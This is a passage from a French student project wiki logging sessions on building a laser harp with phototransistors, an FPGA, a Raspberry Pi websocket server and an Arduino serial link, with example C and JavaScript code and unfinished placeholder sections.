Nous en avons déduit que nous allons devoir refaire l'expérience une fois la harpe assemblée.

Les lasers étant très directionnels tout comme les phototransistors, nous n'aurons pas de soucis d'interférences. Un capteur détectera uniquement le laser situé directement en face de lui et non ceux de son voisinage.

=== Partie boitier ===

Même si il peut paraitre futile d'insérer une partie boitier dans un projet centré sur l'informatique et l'électronique, il s'est avéré que le boitier de notre Harpe nécessitait une attention particulière.

La taille de la harpe à été un sujet de débat, et nous avons réalisé des tests afin de vérifier que des phototransistors trop proches les uns des autres n'allait pas compromettre le bon fonctionnement de la harpe dans son ensemble. En effet, si le phototransistor détectait un autre laser que celui vers lequel il pointe serait extrêmement problématique. Heureusement, il s'est avéré que les phototransistors sont très directionnels, au point que se pose désormais le problème inverse.

Nous allons devoir faire très attention au fait que les lasers soient bien fixés et pointent exactement vers les phototransistors, car dans le cas contraire, ceux-ci ne détectent absolument pas le laser, et tout le principe de fonctionnement s'effondre. La conception et l'assemblage de la boite devront donc être relativement précis, pour éviter ces problèmes.

Enfin, nous avons dès le départ décidé d'éviter l'utilisation de diodes infra-rouges, pour leur préférer les lasers. Tout d'abord, parce que les diodes ne sont en aucun cas assez puissantes pour être détectées par les phototransistors, ce qui une fois de plus rend notre harpe inutile. Ensuite, parce qu'il nous a semblé que réaliser une harpe 'laser' sans lasers était un concept déconcertant, et enlève beaucoup de l’intérêt de ce projet.

Un premier jet de design avait été réalisé avant cette séance, et au vu des données récoltées pendant celle-ci, nous l'avons modifié pour les prendre en compte, notamment la taille des lasers par rapport aux diodes, et la précision requise.

'insérer photos premiers schémas ici'

=== Partie informatique ===
Le travail a été séparé en 2 parties, une personne par partie :
- une première partie sur le serveur même (page web, système de streaming de son depuis la page web)
- une seconde partie sur la lecture du port série

==== Partie serveur ====
La première séance a été consacré à deux grands axes : prendre la main à distance sur le raspberry pi et mettre en place le serveur web.
Afin de pouvoir contrôler et travailler facilement sur le RPi, l'outil vncserver a été installé sur le raspberry, permettant de contrôler via un interface graphique le RPi depuis un ordinateur branché sur le même réseau. Cet utilitaire permettra a l'avenir de travailler directement sur le RPi sans devoir constamment uploader par ssh le travail effectué.

Coté mise en place du serveur web, l'utilitaire de serveur web apache2 a été installé sans soucis, et les pages d'exemples web et javascript fonctionnent. En revanche, l'utilisation du code d'exemple sur les sockets n'est pas utilisable, le paquet proposé n’existe pas et le site du paquet de socket est mort.
Le reste de la séance a été consacré a des recherches sur les moyens de pouvoir streamer du son, recherches non concluantes. Aucune solution n'a été trouvé sans passer par un service internet hébergé par un tier.

==== Partie lecture port série ====

Cette première séance fut consacrée à la sélection du langage de programmation et à sa prise en main. Il a été décidé d'utiliser Python pour écrire le programme récupérant et traitant les données récupérées à travers le port série. Python étant un langage fort usité, il possède une très large documentation. Ce fut donc facile de trouver la librairie permettant de lire les données envoyées par le port série.

Un doute subsiste encore sur le type de données envoyé par le port série. L'idéal serait de récupérer un tableau de 8 entiers de type binaire correspondant aux états des 8 ports liés aux "cordes" laser, pour pouvoir ensuite traiter ces données facilement.

== Séance 2 ==

=== Partie électronique ===
Lors de cette séance, nous avons réalisé le premier circuit sur le FPGA.

Nous avons commencé par réaliser un circuit simple, qui envoie en permanence l'état des huit phototransistors au port série. Les phototransistors sont alors directement reliés à celui-ci. Nous avons pu tester le bon fonctionnement du système grâce aux diodes du FPGA. Nous avons branché en parallèle sur le circuit les huit diodes, afin de vérifier qu'un signal était bien envoyé en permanence, on a pu les voir s'éteindre lorsqu'on éclairait un laser.
Ces diodes se sont avérées très utiles, car il n'est pas encore possible d'effectuer les tests sur le port série, car la partie informatique n'est pas encore opérationnelle, on ne peut donc pas lire directement sur le port série pour le moment.

'Insérer montage d'envoi constant ici'

Nous avons ensuite réalisé un montage permettant de faire l'envoi seulement sur changement d'état, comme prévu à la séance 1 Nous avons donc réalisé un système de bascules permettant de comparer l'état actuel de chaque diode avec son état précédent, puis de réaliser l'envoi seulement si une différence était observée. Comme précédemment, les diodes sont reliées directement au Port Série, mais cette fois-ci au lieu de brancher le Bit d'envoi du port Série sur un Vcc, soit un '1' logique, nous l'avons relié à la vérification de changement d'état, qui passe à '1' uniquement avec un changement d'état.

'Insérer montage d'envoi sur changement d'état ici'

Le problème qui s'est alors posé était de savoir si on envoyait le signal assez longtemps pour qu'il puisse être lu. En effet on envoie un signal seulement si il y a changement d'état, et cette vérification se fait à chaque incrément d'horloge. Hors, la différence sera donc observée sur un seul incrément d'horloge, par conséquent, on n'envoie de signal que pendant ce seul incrément. Pour l'instant, nous supposons que le port série est capable de stocker les données à envoyer en un seul incrément d'horloge.
Cependant, si lors des tests, ça ne fonctionne pas, nous prévoyons d'utiliser un compteur pour pouvoir envoyer le signal plus longtemps au Bit d'envoi du port série, et ainsi laisser le temps au port série d'envoyer l'information.

=== Partie boitier ===

Pendant cette séance, nous nous sommes focalisés sur le FPGA, mais nous avons néanmoins terminé la conception du boitier de la harpe, sous la forme de trois 'boites' crénelées, que nous avons ensuite l'intention de découper au FabLab puis d'assembler.

'insérer photos des boites ici'

Il s'est avéré que réaliser des boites crénelées rendrait tout le boitier beaucoup plus solide, et donc fiable.

=== Partie informatique ===
Le problème de l'impossibilité d'utiliser l'exemple sur les sockets a été résolu, grâce à l'intervention de M. Redon. Le problème était une différence de version de la distribution Linux entre le RPi utilisé et celle utilisé pour l'exemple. En effet, le RPi de travail est sur une distribution Wheezy, alors que la version la plus récente est la Jessie. Les chemins des dépots des sources de la librairie libwebsocket n’existant pas sur Wheezy, on ne pouvait installer la librairie directement en ligne de commande. M. Redon a ajouté le chemin de la librairie dans le gestionnaire de paquet du RPi et on a pu utiliser sans problèmes la librairie. De plus le site du paquet libwebsocket n'était inaccessible que temporairement.
La séance a été consacré à comprendre le fonctionnement des sockets et comment l'exemple html interagissait avec.

La partie importante du code d'exemple est la suivante :

static int callback_my(
struct libwebsocket_context * this,
struct libwebsocket *wsi,enum libwebsocket_callback_reasons reason,
void *user,void *in,size_t len)
{
static char *message=NULL;
static int msize=0;
switch(reason){
case LWS_CALLBACK_ESTABLISHED:
printf("connection established\n");
message=NULL;
// Declenchement d'un prochain envoi au navigateur
libwebsocket_callback_on_writable(this,wsi);
break;
case LWS_CALLBACK_RECEIVE:
// Ici sont traites les messages envoyes par le navigateur
printf("received data: %s\n",(char *)in);
message=malloc(len+LWS_SEND_BUFFER_PRE_PADDING+LWS_SEND_BUFFER_POST_PADDING);
if(message==NULL){ perror("callback_my.malloc"); exit(EXIT_FAILURE); }
memcpy(message+LWS_SEND_BUFFER_PRE_PADDING,in,len);
// Declenchement d'un prochain envoi au navigateur
msize=len;
libwebsocket_callback_on_writable(this,wsi);
break;
case LWS_CALLBACK_SERVER_WRITEABLE:
// Ici sont envoyes les messages au navigateur
if(message!=NULL){
char *out=message+LWS_SEND_BUFFER_PRE_PADDING;
libwebsocket_write(wsi,(unsigned char *)out,msize,LWS_WRITE_TEXT);
free(message);
message=NULL;
}
break;
default:
break;
}
return 0;
}

Il s'agit d'une fonction de callback gérant à la fois la réception et la transmission. On peut remarquer 3 cas du switch : LWS_CALLBACK_ESTABLISHED correspondant à la création d'un lien entre la page web et le serveur websocket à la demande de la page web, LWS_CALLBACK_RECEIVE correspondant aux actions à entreprendre à la réception d'un message provenant du navigateur web, et LWS_CALLBACK_SERVER_WRITEABLE correspondant aux actions afin d'envoyer un message au navigateur.

Coté HTML, on utilise les sockets grâce à ce code suivant :

window.WebSocket=(window.WebSocket||window.MozWebSocket);

var websocket=new WebSocket('ws://127.0.0.1:9000','myprotocol');

websocket.onopen=function(){ $('h1').css('color','green'); };

websocket.onerror=function(){ $('h1').css('color','red'); };

websocket.onmessage=function(message){
console.log(message.data);
$('#messages').append($('<p>',{ text: message.data }));
};

function sendMessage(){
websocket.send($('#message').val());
$('#message').val('');

La fonction websocket.onmessage gère le traitement à faire coté client quand le serveur envoie des informations, et la fonction sendMessage permet l'envoie d'information du client vers le serveur.

Pour notre projet, nous avons besoin principalement, dans un premier temps, d'envoyer des informations du serveur vers le client, nous nous sommes donc concentrer à comprendre et modifier les parties du code fourni suivantes : websocket.onmessage coté client et le "case LWS_CALLBACK_SERVER_WRITEABLE:" coté serveur.

Le but des tests était de réussir à faire jouer deux sons différents par le client, avec changement de son imposé par le serveur. HTML5 propose nativement de lire des sons à partir d'une source grâce à une balise audio :
<audio controls="controls" id="mySound">
</audio>
On récupère l'identifiant de cette balise avec
var test1 = document.getElementById("mySound");
afin de pouvoir l'utiliser de n'importe où dans le programme.
On définit la source grâce à
test1.src="sound.mp3";
avec "sound.mp3" le chemin d'accès au fichier son par rapport à l'emplacement du fichier html sur le serveur. Ici, le fichier son sound.mp3 est dans le même dossier que la page index.html.
Enfin, on peut lire le son avec
test1.play();

Le but du projet étant d'émettre en continue le son généré par la harpe, l'objectif ici est soit de générer un fichier de streaming que l'on lit en continue, soit de lire un fichier différent par son possible et on change la valeur de test1.src en fonction du son à lire, soit on lit toujours la même source, mais que l'on modifie à la volée en fonction du son voulu. La première option a été étudiée jusqu'en fin de séance.
Nous n'avons pas réussi à comprendre comment générer un fichier de streaming audio simple, de plus toutes les documentations et exemples trouvés ne concernant qu'un streaming simultanée de son et de vidéo à partir d'une caméra et d'un micro, et nous n'avons pas compris comment adapter ces exemples.

int cpt;
for (cpt = 0; cpt < 250000000; cpt++);

boole = !boole;
printf("changement: %d\n",boole);
if(boole)
system("sudo cp Level-complete-sound-effect.mp3 ./sound.mp3");
else
system("sudo cp Raindrops-noise.mp3 ./sound.mp3");
}

== Séance 3 ==

=== Partie électronique ===

Pendant cette séance, nous avons pu tester l'envoi sur changement d'état, toujours avec les diodes du FPGA.

Nous avons commencé par ajouter une horloge sur le détecteur de changement d'état, afin d'augmenter le nombre d'incréments d'horloge sur lequel il est à '1', et ce dans le but de rendre le clignotement d'un diode visible à l’œil nu.
Ensuite, nous avons relié la sortie du détecteur de changement d'état et des phototransistors par un 'ET' logique, que nous avons ensuite relié aux diodes du FPGA.
De cette façon, si l'on détecte un changement d'état sur un phototransistor, la nouvelle valeur est alors envoyée sur les diodes. Le système a fonctionné (à voir :p ).

'insérer photos du test avec changement d'état ici'

Nous avons ensuite passé le reste de la séance à mettre en commun notre partie avec la partie informatique, en essayant de leur permettre de lire sur le port série du FPGA. Les essais ont pour l'instant été infructueux, mais des progrès ont été faits.

L'objectif étant que le Raspberry Pi puisse lire les informations envoyées par le FPGA, pour ensuite les transmettre au site Web que nous allons réaliser par la suite.

=== Partie informatique ===

== Séance supplémentaire 1 : Réalisation du site Web ==

Nous avons réalisé ce site web lors de notre temps libre afin de permettre la communication entre le Raspberry Pi et l'ordinateur. En effet, il était inclus dans notre projet de devoir réaliser une communication par internet. Ce site internet va donc remplir cette condition. Sur celui-ci, on pourra trouver une brève description de notre projet, un lien vers le wiki, une image exemple d'un harpe et les boutons Play et Pause qui permettent d'activer et de désactiver la harpe laser.

== Séance supplémentaire 2 : Réalisation du programme secondaire sur Arduino 'en cas de problèmes' ==

Nous nous sommes réunis à plusieurs occasions en dehors des heures de projet afin d'avancer sur notre harpe. Nous avons donc décidé que nous devions réaliser un programme sur Arduino nous permettant de réaliser des tests de transmission par la liaison série sans avoir besoin du FPGA. Dans un premier temps, nous avons tenté d'utiliser le port USB comme liaison série. Cependant, il s'est avéré que le Raspberry pi ne pouvait pas lire son port USB, ce qui nous a donc forcé à utiliser les pins de communication série de l'Arduino.
Nous sommes sur un Arduino Mega 2560, nous avons a notre disposition plusieurs pins de communication série différents. Ils seront utilisés uniquement en transmission. Pour communiquer, nous allons ensuite utiliser le pin Tx1. Nous aboutissons donc au programme suivant:

[[Fichier:Setup.PNG]]

[[Fichier:Captprog.PNG]]

La communication série de ce programme nous a causé des problèmes, surtout du fait que l'ordinateur ne recevait pas les informations transmises par l'Arduino. Nous avons donc du effectuer de multiples tests afin de voir où se situait le problème. Nous avons pu déterminer que nous avions un problème au niveau de notre pont diviseur de tension entre l'alimentation de l’Arduino et celle du Raspberry Pi, nous avons alors changé les résistances.
Nous avons également notamment modifié le programme afin de vérifier que l'information était bien transmise sur le Pin Série de l'Arduino, et que le problème ne venait donc pas de l'Arduino mais bien du Raspberry, qui ne transmet pas correctement l'information à l'ordinateur.

== Séance supplémentaire 3 : Assemblage de la boite et mise en place des composants ==

== Conclusion ==

Projet IMA3 P5, 2016/2017, TD1

2017-06-12T08:19:33Z

Bcartier : /* Partie informatique */

Projet IMA3 P5, 2016/2017, TD1

2017-06-12T08:18:06Z

Bcartier :

Projet IMA3 P5, 2016/2017, TD1

2017-03-27T17:42:24Z

Bcartier :

Projet IMA3 P5, 2016/2017, TD1

2017-03-27T17:34:54Z

Bcartier :